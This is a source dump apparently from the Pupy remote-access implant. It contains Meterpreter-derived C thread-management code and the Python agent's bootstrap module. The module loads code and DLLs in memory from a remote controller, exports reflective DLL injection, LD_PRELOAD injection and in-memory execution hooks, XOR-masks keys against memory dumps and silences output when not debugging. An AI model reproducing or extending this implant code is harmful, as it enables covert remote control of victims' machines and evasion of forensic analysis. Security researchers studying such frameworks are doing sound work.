            thread->handle = pOpenThread( THREAD_TERMINATE|THREAD_SUSPEND_RESUME, FALSE, thread->id );
        }
        else
        {
            NTOPENTHREAD pNtOpenThread = NULL;
            // If we can't use OpenThread, we try the older NtOpenThread function as found on NT4 machines.
            HMODULE hNtDll = LoadLibrary( "ntdll.dll" );
            pNtOpenThread = (NTOPENTHREAD)GetProcAddress( hNtDll, "NtOpenThread" );
            if( pNtOpenThread )
            {
                _OBJECT_ATTRIBUTES oa = {0};
                _CLIENT_ID cid        = {0};

                cid.UniqueThread = (PVOID)thread->id;

                pNtOpenThread( &thread->handle, THREAD_TERMINATE|THREAD_SUSPEND_RESUME, &oa, &cid );
            }

            FreeLibrary( hNtDll );
        }

        FreeLibrary( hKernel32 );
    }

    return thread;
#else
    thread = (THREAD *)malloc( sizeof( THREAD ) );

    if( thread != NULL )
    {
        memset( thread, 0, sizeof(THREAD) );

        thread->id      = gettid();
        thread->sigterm = event_create();
        thread->pid	= pthread_self();
    }
    return thread;
#endif
}

#ifndef _WIN32

struct thread_conditional {
    pthread_mutex_t suspend_mutex;
    pthread_cond_t suspend_cond;
    int engine_running;
    LPVOID (*funk)(void *arg);
    THREAD *thread;
};

void __thread_cancelled(int signo)
{
    signal(SIGTERM, SIG_DFL);
    pthread_exit(NULL);
}

/*
 * This is the entry point for threads created with thread_create.
 *
 * To implement suspended threads, we need to do some messing around with
 * mutexes and conditional broadcasts ;\
 */

void *__paused_thread(void *req)
{
    LPVOID (*funk)(void *arg);
    THREAD *thread;

    struct thread_conditional *tc = (struct thread_conditional *)(req);
    tc->thread->id = gettid();

    signal(SIGTERM, __thread_cancelled);

    pthread_mutex_lock(&tc->suspend_mutex);

    while(tc->engine_running == FALSE) {
        pthread_cond_wait(&tc->suspend_cond, &tc->suspend_mutex);
    }

    pthread_mutex_unlock(&tc->suspend_mutex);

    funk = tc->funk;
    thread = tc->thread;
    free(tc);

    if(event_poll(thread->sigterm, 0) == TRUE) {
        /*
         * In some cases, we might want to stop a thread before it does anything :/
         */
        return NULL;
    }

    return funk(thread);
}
#endif

/*
 * Create a new thread in a suspended state.
 */
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 )
{
    THREAD * thread = NULL;

    if( funk == NULL )
        return NULL;

    thread = (THREAD *)malloc( sizeof( THREAD ) );
    if( thread == NULL )
        return NULL;

    memset( thread, 0, sizeof( THREAD ) );

    thread->sigterm = event_create();
    if( thread->sigterm == NULL )
    {
        free( thread );
        return NULL;
    }


    thread->parameter1 = param1;
    thread->parameter2 = param2;
    thread->parameter3 = param3;

#ifdef _WIN32
    thread->handle = CreateThread( NULL, 0, funk, thread, CREATE_SUSPENDED, &thread->id );

    if( thread->handle == NULL )
    {
        event_destroy( thread->sigterm );
        free( thread );
        return NULL;
    }

#else
    // PKS, this is fucky.
    // we need to use conditionals to implement this.

    thread->thread_started = FALSE;

    do {
        pthread_t pid;

        struct thread_conditional *tc;
        tc = (struct thread_conditional *) malloc(sizeof(struct thread_conditional));

        if( tc == NULL ) {
            event_destroy(thread->sigterm);
            free(thread);
            return NULL;
        }

        memset( tc, 0, sizeof(struct thread_conditional));

        pthread_mutex_init(&tc->suspend_mutex, NULL);
        pthread_cond_init(&tc->suspend_cond, NULL);

        tc->funk = funk;
        tc->thread = thread;

        thread->suspend_thread_data = (void *)(tc);

        if(pthread_create(&(thread->pid), NULL, __paused_thread, tc) == -1) {
            free(tc);
            event_destroy(thread->sigterm);
            free(thread);
            return NULL;
        }
        // __paused_thread free's the allocated memory.

    } while(0);
#endif

    return thread;
}

/*
 * Run a thread.
 */
BOOL thread_run( THREAD * thread )
{
    if( thread == NULL )
        return FALSE;

#ifdef _WIN32
    if( ResumeThread( thread->handle ) < 0 )
        return FALSE;

#else
    struct thread_conditional *tc;
    tc = (struct thread_conditional *)thread->suspend_thread_data;
    pthread_mutex_lock(&tc->suspend_mutex);
    tc->engine_running = TRUE;
    pthread_mutex_unlock(&tc->suspend_mutex);
    pthread_cond_signal(&tc->suspend_cond);

    thread->thread_started = TRUE;
#endif
    return TRUE;
}

/*
 * Signals the thread to terminate. It is the responsibility of the thread to wait for and process this signal.
 * Should be used to signal the thread to terminate.
 */
BOOL thread_sigterm( THREAD * thread )
{
    BOOL ret;

    if( thread == NULL )
        return FALSE;

    ret = event_signal( thread->sigterm );

#ifndef _WIN32
    /*
     * If we sig term a thread before it's started execution, we will leak memory / not be
     * able to join on the thread, etc.
     *
     * Therefore, we need to start the thread executing before calling thread_join
     */
    if(thread->thread_started != TRUE) {
        thread_run(thread);
    }
#endif

    return ret;
}

/*
 * Terminate a thread. Use with caution! better to signal your thread to terminate and wait for it to do so.
 */
BOOL thread_kill( THREAD * thread )
{
    if( thread == NULL )
        return FALSE;

#ifdef _WIN32
    if( TerminateThread( thread->handle, -1 ) == 0 )
        return FALSE;

    return TRUE;
#else
    // bionic/libc/bionic/CAVEATS
    // - pthread cancellation is *not* supported. this seemingly simple "feature" is the source
    // of much bloat and complexity in a C library. Besides, you'd better write correct
    // multi-threaded code instead of relying on this stuff.

    // pthread_kill says: Note  that  pthread_kill()  only  causes  the
    // signal to be handled in the context of the given thread; the signal
    // action (termination or stopping) affects the process as a whole.

    // We send our thread a SIGTERM, and a signal handler calls pthread_exit().

    pthread_kill(thread->id, SIGTERM);
    return FALSE;
#endif
}


/*
 * Blocks untill the thread has terminated.
 */
BOOL thread_join( THREAD * thread )
{
    if( thread == NULL )
        return FALSE;

#ifdef _WIN32
    if( WaitForSingleObject( thread->handle, INFINITE ) == WAIT_OBJECT_0 )
        return TRUE;

    return FALSE;
#else
    if(pthread_join(thread->pid, NULL) == 0)
        return TRUE;

    return FALSE;
#endif
}

/*
 * Destroys a previously created thread. Note, this does not terminate the thread. You must signal your
 * thread to terminate and wait for it to do so (via thread_signal/thread_join).
 */
BOOL thread_destroy( THREAD * thread )
{
    if( thread == NULL )
        return FALSE;

    event_destroy( thread->sigterm );

#ifdef _WIN32
    CloseHandle( thread->handle );
#else
    pthread_detach(thread->pid);
#endif

    free( thread );

    return TRUE;
}



================================================
FILE: client/sources-windows-py3/thread.h
================================================
#ifndef _METERPRETER_LIB_THREAD_H
#define _METERPRETER_LIB_THREAD_H

#ifdef _WIN32

/*****************************************************************************************/
// Win32/64 specific definitions...

typedef struct __UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} _UNICODE_STRING, * _PUNICODE_STRING;

typedef struct __OBJECT_ATTRIBUTES
{
    ULONG Length;
    HANDLE RootDirectory;
    _PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} _OBJECT_ATTRIBUTES, * _POBJECT_ATTRIBUTES;

typedef struct __CLIENT_ID
{
  PVOID UniqueProcess;
  PVOID UniqueThread;
} _CLIENT_ID, * _PCLIENT_ID;

typedef HANDLE (WINAPI * OPENTHREAD)( DWORD, BOOL, DWORD ); // kernel32!OpenThread

typedef DWORD (WINAPI * NTOPENTHREAD)( PHANDLE, ACCESS_MASK, _POBJECT_ATTRIBUTES, _PCLIENT_ID ); // ntdll!NtOpenThread

/*****************************************************************************************/

#else
#include "pthread.h"
#endif // _WIN32

typedef struct _LOCK
{
#ifdef _WIN32
    HANDLE handle;
#else
    pthread_mutex_t *handle;
#endif // _WIN32
} LOCK, * LPLOCK;

typedef struct _EVENT
{
    HANDLE handle;
} EVENT, * LPEVENT;

typedef struct _THREAD
{
    DWORD id;
    HANDLE handle;
    EVENT * sigterm;
    LPVOID parameter1;
    LPVOID parameter2;
    LPVOID parameter3;
#ifndef _WIN32
    void *suspend_thread_data;
    pthread_t pid;
    int thread_started;
#endif
} THREAD, * LPTHREAD;

#ifdef __GNUC__
#define THREADCALL __attribute__((stdcall))
#else // ! gcc
#define THREADCALL __stdcall
#endif

typedef DWORD (THREADCALL * THREADFUNK)( THREAD * thread );

/*****************************************************************************************/

LOCK * lock_create( VOID );

VOID lock_destroy( LOCK * lock );

VOID lock_acquire( LOCK * lock );

VOID lock_release( LOCK * lock );

/*****************************************************************************************/

EVENT * event_create( VOID );

BOOL event_destroy( EVENT * event );

BOOL event_signal( EVENT * event );

BOOL event_poll( EVENT * event, DWORD timeout );

/*****************************************************************************************/

THREAD * thread_open( VOID );

THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 );

BOOL thread_run( THREAD * thread );

BOOL thread_sigterm( THREAD * thread );

BOOL thread_kill( THREAD * thread );

BOOL thread_join( THREAD * thread );

BOOL thread_destroy( THREAD * thread );

/*****************************************************************************************/

#endif



================================================
FILE: pupy/.dockerignore
================================================
Dockerfile
.dockerignore
**/.git
**/.gitignore
**/*.exp
**/*.lib
crypto/credentials.py
data
external/winpty
external/scapy
**/__pycache__*
**/test?
packages/src
**/*.pyc
**/*.pyo


================================================
FILE: pupy/__init__.py
================================================


================================================
FILE: pupy/agent/__init__.py
================================================
# -*- coding: utf-8 -*-
# ------------------------------------------------------------------------------
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
#    this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice,
#    this list of conditions and the following disclaimer in the documentation
#    and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors
#    may be used to endorse or promote products derived from this software
#    without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE
# ------------------------------------------------------------------------------

# Public API

__all__ = (
    'EXTS_SOURCES', 'EXTS_COMPILED', 'EXTS_NATIVE', 'EXTS_ALL',
    'Blackhole', 'DummyPackageLoader', 'PupyPackageLoader',

    'config', 'dlls', 'client', 'revision',

    'namespace', 'set_broadcast_event', 'broadcast_event',
    'obtain',

    'manager', 'Task', 'Manager',

    'is_supported', 'is_native',

    'make_module',
    'get_arch', 'load_dll', 'is_shared',
    'reflective_inject_dll', 'ld_preload_inject_dll', 'mexec',
    'set_exit_session_callback', 'find_function_address',

    'set_pupy_config',

    'set_debug', 'get_debug', 'dprint', 'remote_error', 'get_logger',
    'get_pending_log',

    'update_module_dict',

    'main'

)
import sys
import marshal
import gc
import _imp

os_ = None


for module in ('nt', 'posix'):
    if module in sys.builtin_module_names:
        os_ = __import__(module)

import importlib.util as imputil


if sys.version_info.major > 2:
    xrange = range


def _stub(*args, **kwargs):
    raise NotImplementedError()


def is_supported(function):
    return hasattr(function, '__call__') and function != _stub


# Pupy client API

client = None
config = {}

try:
    import _pupy

    # Reset search paths ASAP

    #del sys.meta_path[:]
    # removing path imports from meta_path
    import _frozen_importlib_external
    if _frozen_importlib_external.PathFinder in sys.meta_path:
        sys.meta_path.remove(_frozen_importlib_external.PathFinder)
    del sys.path[:]
    del sys.path_hooks[:]

    sys.path_importer_cache.clear()

    from _pupy import (
        get_arch, is_shared
    )

    from _pupy import load_dll as _load_dll
    from _pupy import import_module as _import_module

    if hasattr(_pupy, 'revision'):
        from _pupy import revision
    else:
        revision = None

    if hasattr(_pupy, 'reflective_inject_dll'):
        from _pupy import reflective_inject_dll
    else:
        reflective_inject_dll = _stub

    if hasattr(_pupy, 'ld_preload_inject_dll'):
        from _pupy import ld_preload_inject_dll
    else:
        ld_preload_inject_dll = _stub

    if hasattr(_pupy, 'mexec'):
        from _pupy import mexec
    else:
        mexec = _stub

    if hasattr(_pupy, 'set_exit_session_callback'):
        from _pupy import set_exit_session_callback
    else:
        set_exit_session_callback = _stub

    if hasattr(_pupy, 'find_function_address'):
        from _pupy import find_function_address
    else:
        find_function_address = _stub

    def is_native():
        return True

except ImportError:
    def is_shared():
        return False

    def is_native():
        return False

    _import_module = _stub
    _load_dll = _stub
    get_arch = _stub
    set_exit_session_callback = _stub
    find_function_address = _stub
    revision = None
    mexec = _stub


EXTS_SOURCES = ('.py',)
EXTS_COMPILED = ('.pye', '.pyo', '.pyc')
ABI = str(sys.version_info[0])
EXTS_NATIVE = ('.pyd', '.so', '.dll', '.abi'+ABI+'.so', '.abi'+ABI+'.pyd')
EXTS_ALL = EXTS_NATIVE + EXTS_COMPILED + EXTS_SOURCES
ANY_INIT = tuple(
    '__init__' + ext for ext in EXTS_SOURCES + EXTS_COMPILED
)

MODULE_CLASS = sys.__class__

__debug = False
__debug_file = None
__debug_pending = []
__trace = False
__dprint_method = None

pupy_modules = None
dlls = {}

pupy_hooks = None
import_module = None
LOGGER = None

creds_cache = {}
namespace = None
obtain = None
manager = None
Task = None
Manager = None

_pywintypes = None

aliases = {
    'Cryptodome': 'Crypto',
}

direct_load = {
    # 'pywintypes': 'pywintypes27.dll',
    # 'pythoncom': 'pythoncom27.dll'
}




def update_module_dict(mod):
    pupy_modules.update(mod)

def get_pending_log():
    log = __debug_pending[:]
    del __debug_pending[:]
    return log


def set_pupy_config(new_config):
    config.clear()
    config.update(new_config)


def set_broadcast_event(callback):
    if not client:
        # Not ready?
        return

    client.set_broadcast_event(callback)


def broadcast_event(eventid, *args, **kwargs):
    if not client:
        return

    client.broadcast_event(eventid, *args, **kwargs)


def get_logger(name):
    global LOGGER
    if LOGGER is None:
        from .logger import create_root_logger
        LOGGER = create_root_logger()
    return LOGGER.getChild(name)


def set_stdio(null=False):
    if os_:
        try:
            os_.fstat(sys.stdout.fileno())
            os_.fstat(sys.stderr.fileno())
        except Exception:
            null = True

    if null:
        sys.stdout = Blackhole()
        sys.stderr = Blackhole()


def set_debug(is_enabled):
    global __debug
    
    if is_enabled:
        sys.tracebacklimit = 30
        __debug = True
        setattr(sys, "__debug", True)

    else:
        sys.tracebacklimit = 20
        __debug = False
        setattr(sys, "__debug", False)


def get_debug():
    return __debug, __debug_file


def dprint(msg, *args, **kwargs):
    if not (__dprint_method or __debug or getattr(sys, "__debug", False)):
        return

    if args or kwargs:
        if '%%' in msg:
            msg = msg % tuple(args)
        else:
            msg = msg.format(*args, **kwargs)

    error = None

    try:
        if __dprint_method:
            __dprint_method(msg)
            return

        elif not isinstance(sys.stderr, Blackhole):
            sys.stderr.write(msg)
            sys.stderr.write('\n')
            sys.stderr.flush()
            return

    except Exception as e:
        error = e

    __debug_pending.append(msg)

    if error:
        __debug_pending.append(error)


def remote_error(message, *args, **kwargs):
    try:
        import traceback
        exception_info = str(traceback.format_exc())
        message += '\n' + exception_info
    except ImportError:
        pass
    
    if not pupy_hooks.remote_print_error:
        dprint(message, *args, **kwargs)
        return

    if args and '%%' in message:
        message = message % tuple(args)
    elif args or kwargs:
        message = message.format(*args, **kwargs)

    try:
        pupy_hooks.remote_print_error(message)
    except Exception as e:
        dprint('Error: {}, message={}', e, message)
        return


def loadpy(src, dst, masked=False):
    src = bytes(src)
    content = src

    if masked:
        # Poors man "obfuscation", just to reduce (a bit) amount of our
        # plaintext keys in mem dump
        content = bytearray(len(src))
        for i, x in enumerate(src):
            content[i] = chr(
                ord(x) ^ ((2 ** ((65535 - i) % 65535)) % 251)
            )

    try:
        exec (marshal.loads(bytes(content)), dst)
    except Exception as e:
        message = str(e)
        try:
            import traceback
            exception_info = str(traceback.format_exc())
            message += '\n' + exception_info + '\nAT:\n'
            message += ''.join(traceback.format_stack())
        except ImportError:
            pass

        dprint("Failed call loadpy: " + message)
        raise


def import_module(data, initname, fullname, path):
    if not is_supported(_import_module):
        return None

    spec = imputil.spec_from_loader(fullname, loader=None)
    return _import_module(data, initname, fullname, path, spec)


def load_dll(name, buf=None):
    if not is_supported(_load_dll):
        return None

    if name in dlls:
        return dlls[name]

    cleanup_name = False

    if buf is None:
        if name in pupy_modules.modules:
            buf = pupy_modules.modules[name]
            cleanup_name = True
        else:
            return None
    dprint("calling load_dll(name={}, buflen={}, buf0={}, buf1={})", name, len(buf), buf[0], buf[1]) 
    handle = _load_dll(name, buf)
    dprint("load_dll() handle={}",handle)
    if handle:
        dlls[name] = handle

        if cleanup_name:
            del pupy_modules.modules[name]

        return handle

    return None


def _get_module_files(fullname, path=None):
    """ return the file to load """

    maybe_path = fullname.replace('.', '/')
    if not path:
        path = maybe_path
    elif path.startswith('pupy://'):
        path = path[7:]
        if not maybe_path.startswith(path + '/'):
            path += '/' + maybe_path
        else:
            path = maybe_path
    else:
        if not maybe_path.startswith(path + '/'):
            path += '/' + maybe_path
        else:
            path = maybe_path

    while '//' in path:
        path = path.replace('//', '/')

    dprint("Search in modules: " + path)

    files = [
        module for module in pupy_modules.modules
        if module.rsplit('.', 1)[0] == path or any([
            (
                path + '/__init__' + ext == module
            ) for ext in EXTS_ALL
        ])
    ]
    dprint("Potential files found in memory: %s"%files)

    return files


def get_module_files(fullname, paths=[None]):
    dprint(
        "get_module_files({}, {})".format(
            repr(fullname), repr(paths)
        )
    )

    for path in paths:
        files = _get_module_files(fullname, path)
        if files:
            return files

    return []


def make_module(fullname, path=None, is_pkg=False, mod=None):
    if mod is None:
        #mod = imp.new_module(fullname)
        spec = imputil.spec_from_loader(fullname, loader=None)
        mod = imputil.module_from_spec(spec)
    dprint("make_module: %s %s %s"%(fullname, path, mod))
    mod.__name__ = str(fullname)
    mod.__file__ = str(
        'pupy://{}'.format(path or fullname + '.py')
    )

    if is_pkg:
        mod.__path__ = [
            str(mod.__file__.rsplit('/', 1)[0])
        ]
        mod.__package__ = str(fullname)
    else:
        mod.__package__ = str(fullname.rsplit('.', 1)[0])

    original_module = sys.modules.get(fullname)
    if original_module:
        # Looks like a reload
        for (alias, module) in sys.modules.items():
            if module is original_module:
                sys.modules[alias] = mod

    sys.modules[fullname] = mod
    return mod


class Blackhole(object):
    def _do_nothing(self, *args, **kwargs):
        pass

    read = write = flush = close = _do_nothing


class DummyPackageLoader(object):
    __slots__ = ('fullname')

    def __init__(self, fullname):
        self.fullname = fullname

    def load_module(self, fullname):
        return sys.modules[self.fullname]


class PupyPackageLoader(object):
    __slots__ = (
        'fullname', 'contents', 'extension',
        'is_pkg', 'path', 'archive'
    )

    def __init__(self, fullname, contents, extension, is_pkg, path):
        self.fullname = fullname
        self.contents = contents
        self.extension = extension
        self.is_pkg = is_pkg
        self.path = path
        self.archive = ''

    def __repr__(self):
        return f"'pupy://{self.path}'"

    def _rename_aliased(self, fullname):
        for alias, aliased in aliases.items():
            if not fullname.startswith(alias):
                continue

            parts = fullname.split('.')
            if parts[0] == alias:
                parts[0] = aliased

            new_fullname = '.'.join(parts)

            dprint('Rename: {} -> {}'.format(
                fullname, new_fullname))

            return new_fullname

        return fullname

    def _make_module(self, fullname, mod=None):
        return make_module(fullname, self.path, self.is_pkg, mod)

    def load_module(self, fullname):
        _imp.acquire_lock()
        try:
            fullname = self._rename_aliased(fullname)

            if fullname in sys.modules:
                return sys.modules[fullname]

            dprint('loading module {} (ext: {})', fullname, self.extension)
            extension = '.' + self.extension

            mod = None
            if extension in EXTS_SOURCES:
                dprint('Load {} from source file ({})'.format(
                    fullname, self.extension))

                mod = self._make_module(fullname)
                code = compile(self.contents, mod.__file__, 'exec')
                exec (code, mod.__dict__)

            elif extension in EXTS_COMPILED:
                dprint('Load {} from marshalled file ({})'.format(
                    fullname, self.extension))

                try:
                    mod = self._make_module(fullname)
                    loadpy(
                        self.contents[8:],
                        mod.__dict__,
                        self.extension == 'pye'
                    )
                except Exception as e:
                    remote_error('Load {} failed: Exception: {}'.format(
                        fullname, e))
                    raise

            elif extension in EXTS_NATIVE:
                if not is_supported(_import_module):
                    raise ImportError(
                        'memimporter interface is not initialized yet')
                if sys.version_info[0]==3:
                    initname = 'PyInit_' + fullname.rsplit('.', 1)[-1]
                else:
                    initname = 'init' + fullname.rsplit('.', 1)[-1]

                dprint('Load {} from native file {}'.format(
                    fullname, self.path))
                mod = import_module(self.contents, initname, fullname, self.path)
                dprint('mod to load : {}'.format(mod))
                self._make_module(fullname, mod)

            else:
                raise ImportError('Unsupported extension {}'.format(
                    self.extension))

        except Exception as e:
            dprint('Error loading package {} ({} pkg={}): {}',fullname, self.path, self.is_pkg, e)
            if fullname in sys.modules:
                dprint("Error ! %s : deleting from modules : %s"%(e,fullname))
                del sys.modules[fullname]

            remote_error(
                'Error loading package {} ({} pkg={})',
                fullname, self.path, self.is_pkg
            )
            raise

        finally:
            self.contents = None
            _imp.release_lock()
            gc.collect()
        return sys.modules[fullname]


class PupyPackageFinderImportError(ImportError):
    __slots__ = ()

import _frozen_importlib_external as _bootstrap_external
class PupyPackageFinder(_bootstrap_external._LoaderBasics):
    __slots__ = ('path', 'locals', 'globals')

    search_lock = None
    search_set = set()

    def __init__(self, path):
        dprint("PupyPackageFinder for {}".format(path))
        if type(path) == bytes:
            path = path.decode('utf8', 'replace')
        if path and not path.startswith('pupy://'):
            raise PupyPackageFinderImportError()

        self.path = path[7:].replace('\\', '/')
        self.locals = locals()
        self.globals = globals()

    @staticmethod
    def init_search_lock():
        from threading import Lock
        PupyPackageFinder.search_lock = Lock()

    def _rename_aliased(self, fullname):
        for alias, aliased in aliases.items():
            if not fullname.startswith(alias):
                continue

            if fullname.startswith(alias):
                parts = fullname.split('.')
                if parts[0] == alias:
                    parts[0] = aliased
                    fullname = '.'.join(parts)
                    return fullname

        return fullname

    def _is_already_loaded(self, fullname):
        parts = fullname.split('.')[:-1]

        for i in xrange(len(parts)):
            part = '.'.join(parts[:i+1])
            if part in pupy_modules.modules or part in sys.modules:
                return True

        return False

    def _remote_load_packages(self, fullname, second_pass):
        remote_load_package=pupy_hooks.remote_load_package
        dprint("remote_load_package : %s"% remote_load_package)
        if not remote_load_package or second_pass:
            return
        if self._is_already_loaded(fullname):
            return None

        from pupy.agent.utils import pupy_add_package, safe_obtain

        if PupyPackageFinder.search_lock is not None:
            with PupyPackageFinder.search_lock:
                if fullname in PupyPackageFinder.search_set:
                    return None
                else:
                    PupyPackageFinder.search_set.add(fullname)

        try:
            dprint('Remote load package {}'.format(fullname))
            packages, dlls = remote_load_package(fullname)
            dprint('Remote load package {} - success'.format(fullname))
            if not packages and not dlls:
                dprint('Remote load package {} - not found'.format(fullname))
            else:
                if dlls:
                    dlls = safe_obtain(dlls)
                    for name, blob in dlls:
                        load_dll(name, blob)

                if packages:
                    pupy_add_package(packages, True, fullname)

                if fullname in sys.modules:
                    return DummyPackageLoader(fullname)

                return self.find_module(fullname, second_pass=True)

        except Exception as e:
            dprint('Exception: {}'.format(e))

        finally:
            if PupyPackageFinder.search_lock is not None:
                with PupyPackageFinder.search_lock:
                    PupyPackageFinder.search_set.remove(fullname)

    def iter_modules(self, fullname, path=None):
        spath = self.path+'/'
        lpath = len(spath)

        for module in list(pupy_modules.modules):
            if not module.startswith(spath):
                continue

            sub_path = module[lpath:]
            first, rest = sub_path.split('/', 1)
            if first.endswith(EXTS_ALL):
                yield first.rsplit('.', 1)[0], False
            elif '.' not in first and rest in ANY_INIT:
                yield first, True

    def find_module(self, fullname, path=None, second_pass=False):
        if fullname.startswith('exposed_'):
            return None

        fullname = self._rename_aliased(fullname)


        if not second_pass:
            _imp.acquire_lock()
        if fullname in sys.modules:
            dprint('found module in sys.modules: %s'%fullname)
            return DummyPackageLoader(fullname)

        dprint('Find module: {}/{}'.format(fullname, second_pass))

        selected = None

        try:
            files = None

            if fullname in direct_load:
                direct_load_name = direct_load[fullname]
                files = get_module_files(direct_load_name)
            else:
                files = get_module_files(fullname)

            if not is_supported(_import_module):
                dprint('[L] _import_module is not supported ... find_module: filter out native libs')
                files = [
                    f for f in files if not f.lower().endswith(EXTS_NATIVE)
                ]

            if not files:
                files = []

                dprint(
                    '{} not found in {}: not in {} files'.format(
                        fullname, files, len(files)
                    )
                )

                return self._remote_load_packages(fullname, second_pass)

            criterias = (
                lambda f: any([
                    f.endswith('/__init__'+ext) for ext in (
                        EXTS_COMPILED + EXTS_SOURCES
                    )
                ]),
                lambda f: f.endswith(EXTS_NATIVE),
                lambda f: f.endswith(EXTS_COMPILED),
                lambda f: f.endswith(EXTS_SOURCES),
            )

            selected = None
            for criteria in criterias:
                for candidate in files:
                    if criteria(candidate):
                        selected = candidate
                        break

            if not selected:
                dprint('{} not selected from {}', fullname, files)
                return None

            del files[:]

            content = pupy_modules.modules[selected]
            dprint(
                '{} found in "{}" / size = {}',
                fullname, selected, len(content)
            )

            extension = selected.rsplit(".", 1)[1].strip().lower()
            is_pkg = any([
                selected.endswith('/__init__'+ext) for ext in (
                    EXTS_COMPILED + EXTS_SOURCES
                )
            ])

            dprint('--> Loading {} ({}) package={}'.format(
                fullname, selected, is_pkg))

            return PupyPackageLoader(
                fullname, content, extension, is_pkg, selected
            )

        except Exception as e:
            dprint('--> Loading {} failed: {}/{}'.format(fullname, e, type(e)))
            if 'traceback' in sys.modules:
                import traceback
                traceback.print_exc(e)

            raise

        finally:
            if selected and selected in pupy_modules.modules:
                dprint('[L] {} remove {} from bundle / count = {}'.format(
                    fullname, selected, len(pupy_modules.modules)))
                del pupy_modules.modules[selected]

            if not second_pass:
                _imp.release_lock()
                pass

            gc.collect()

    def __repr__(self):
        return 'PupyPackageFinder({!r})'.format(self.path)



def initialize_basic_windows_modules():
    dprint('Initialize basic windows modules')
    try:
        if 'pywintypes27.dll' in pupy_modules.modules:
            dprint('Load pywintypes')
            load_dll('pywintypes27.dll', pupy_modules.modules['pywintypes27.dll'])
            del pupy_modules.modules['pywintypes27.dll']

            dprint('Load pywin32 loader')
            import _win32sysloader  # noqa
    except (NotImplementedError, WindowsError, ImportError) as e:
        dprint("Failed to load pywin32 loader: " + str(e))
        # We will try to leave without them..
        # This may happen on default python27 install
        pass

    from pupy.agent.winerror_hacks import apply_winerror_hacks

    # Enable unicode descriptions for windows errors
    apply_winerror_hacks()


def load_pupyimporter(stdlib=None):

    try:
        gc.set_threshold(128)
    except NotImplementedError:
        pass

    if stdlib:
        pupy_modules.modules.update(stdlib)


    if is_native():
        dprint('Install pupyimporter (standalone)')
        sys.path = ["pupy://"]
        sys.path_hooks = [PupyPackageFinder]

        dprint("meta_path: %s"%sys.meta_path)
        dprint("path_hooks: %s"%sys.path_hooks)
        dprint("path: %s"%sys.path)

    else:
        dprint('Install pupyimporter + local packages')
        #sys.meta_path=[]
        sys.path.insert(0, 'pupy://')
        sys.path_hooks.insert(0, PupyPackageFinder)
        try:
            import _frozen_importlib_external
            # fix some missing default python meta_path, for instance with pyoxidizer
            if _frozen_importlib_external.PathFinder not in sys.meta_path:
                sys.meta_path.append(_frozen_importlib_external.PathFinder)
        except:
            pass

    sys.path_importer_cache.clear()

    PupyPackageFinder.init_search_lock()

    if is_native():
        # fixup some modules that were not imported correctly during bootstrap
        # TODO: investigate a cleaner way
        del sys.modules["collections"]
        del sys.modules["collections.abc"]
        import collections.abc
        import collections
        collections # use collections to ignore an IDE warning

        import pupy
        setattr(pupy, 'agent', sys.modules['pupy.agent'])

    if sys.platform == 'win32':
        initialize_basic_windows_modules()


def init_pupy(argv, stdlib, debug=False):
    global LOGGER
    global __dprint_method
    global __debug_file

    set_stdio(null=not debug)
    set_debug(debug)

    dprint(
        'init_pupy: argv={} sys.argv={}',
        repr(argv), repr(sys.argv)
    )

    if sys.argv != argv:
        setattr(sys, 'real_argv', list(sys.argv))
        sys.argv = argv

    if hasattr(sys.platform, 'addtarget'):
        sys.platform.addtarget(None)

    setup_hooks()
    setup_modules()
    load_pupyimporter(stdlib)

    LOGGER = get_logger('pupy')


    if debug:
        from .logger import enable_debug_logger
        __debug_file = enable_debug_logger(LOGGER)

        for pending in __debug_pending:
            if isinstance(pending, Exception):
                LOGGER.exception(pending)
            else:
                LOGGER.error(pending)

        del __debug_pending[:]

    __dprint_method = LOGGER.debug

    import platform

    platform._syscmd_uname = lambda *args, **kwargs: ''

    if is_supported(get_arch):
        platform.architecture = lambda *args, **kwargs: (
            '64bit' if '64' in get_arch() else '32bit', ''
        )


def load_memimporter_fallback():
    global _import_module
    global _load_dll

    if not is_supported(_import_module):
        try:
            from .memimporter import load_dll, import_module

            _import_module = import_module
            _load_dll = load_dll
        except ImportError:
            import traceback
            dprint('memimporter is not available')
            dprint(traceback.format_exc(), error=True)


def setup_credentials(config):
    if 'credentials' not in config:
        return

    credentials = make_module('pupy_credentials')
    for cred, value in config.pop('credentials').items():
        setattr(credentials, cred, value)


def setup_manager():
    global Task
    global Manager
    global manager

    from .pstore import PStore
    from .manager import Task as _Task
    from .manager import Manager as _Manager

    pstore_dir = config.get('pstore', '~')

    Manager = _Manager
    Task = _Task
    manager = Manager(PStore(pstore_dir))

    import pupy.agent
    setattr(pupy.agent, "Manager", _Manager)
    setattr(pupy.agent, "Task", _Task)
    setattr(pupy.agent, "manager", manager)


def setup_network():
    from pupy.network.conf import load_modules
    load_modules()


def setup_obtain():
    global obtain

    from pupy.agent.utils import safe_obtain
    obtain = safe_obtain

def setup_hooks():
    global pupy_hooks
